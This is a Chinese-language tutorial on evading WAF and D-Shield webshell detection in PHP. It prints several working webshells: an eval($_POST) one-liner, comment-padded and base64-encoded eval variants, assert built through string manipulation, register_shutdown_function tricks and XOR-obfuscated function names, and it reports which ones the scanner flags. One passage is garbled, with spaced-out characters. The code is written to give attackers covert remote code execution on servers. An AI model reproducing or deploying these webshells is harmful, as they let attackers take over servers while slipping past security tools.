此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言
WAF一般都是维护一个规则库,记录webshell常用的函数、方法等等,通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警,但是规则匹配肯定会有误报,waf一直告警也很烦,所以waf一般会稳定为首要目标,也会放宽一下规则,这就是绕的基础
查杀软件我首先:D盾
『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计!限制了常见的入侵方法,让服务器更安全
由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval
在这里我们用最新版D盾进行查杀
首先请出我们最爱的一句话木马:
<?php @eval($_POST('1'));?>
无论如何混淆webshell,我们期望最终得到的逻辑依然是这条代码,所以答案知道了,想办法混淆就行了。
我们先看下这个的查杀吧
显然被杀了
经过对D盾的探测,可以知道,它对函数的检测其实是比较粗糙的,比如我们构造一个函数,让其返回值拼接为
<?php
function x()
{
return $_POST['1'];
}
eval(x());
?>
虽然没被直接杀掉但是级别也换成了2级
首先,无论如何更改函数名,都会被杀掉,所以和函数名没关系,然后就是eval内的参数了,测试后发现,只要拼接成eval($_POST[‘a’])就会被杀,因此我们避免语句直接拼接为这样即可。
如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西,什么东西可以做到这样呢?当然就是注释了
<?php
function x()
{
return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
}
eval(x());
?>
既然如此,我们的核心绕过思路就是利用注释了,为了去除特征,必不可少的就是随机性了
使用函数返回值与eval拼接只是权宜之计,毕竟也是一条规则就能够被干掉的。所以我们这里使用类和构造函数来替代主动调用函数。
<?php
class x
{
function __construct()
{
@eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
}
}
new x();
?>
尴尬了被查杀了这样也不行,看来eval是被重点关照的对象。
改到这里,我不禁想 如果D盾发狠把". P O S T [ ′ a ′ ] . " 当 独 立 规 则 , 那 岂 不 是 也 歇 菜 , 所 以 , 我 决 定 使 用 b a s e 64 编 码 将 " _POST['a']."当独立规则,那岂不是也歇菜,所以,我决定使用base64编码将" POST[′a′]."当独立规则,那岂不是也歇菜,所以,我决定使用base64编码将"_POST[‘a’]"转化一下
<?php
class x
{
public $payload = null;
public $decode_payload = null;
function __construct()
{
$this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
$this->decode_payload = @base64_decode( $this->payload );
@eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
}
}
new x();
?>
<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
?>
<?php
function zeo($c,$d){
pj()($c,$d);
}
function pj(){
return "register_shut"."down_function";
}
$b=$_POST['x'];
zeo(assert,$b);
?>
就是用各种运算,例如异或,拼装出来想要的函数
最后能构造出a-z中任意一个字符。
然后再利用PHP允许动态函数执行的特点,
<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
${
$__}[!$_](${
$___}[$_]);
?>
看看字符串变换
<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);
$cc($_POST['x']);
?>
可以看到二级也不太行
接着看下php7以下的版本
assert函数
<?php assert(@$_POST['a']); ?>
<?php
func = $_GET["func"];
assert("$func()");
?>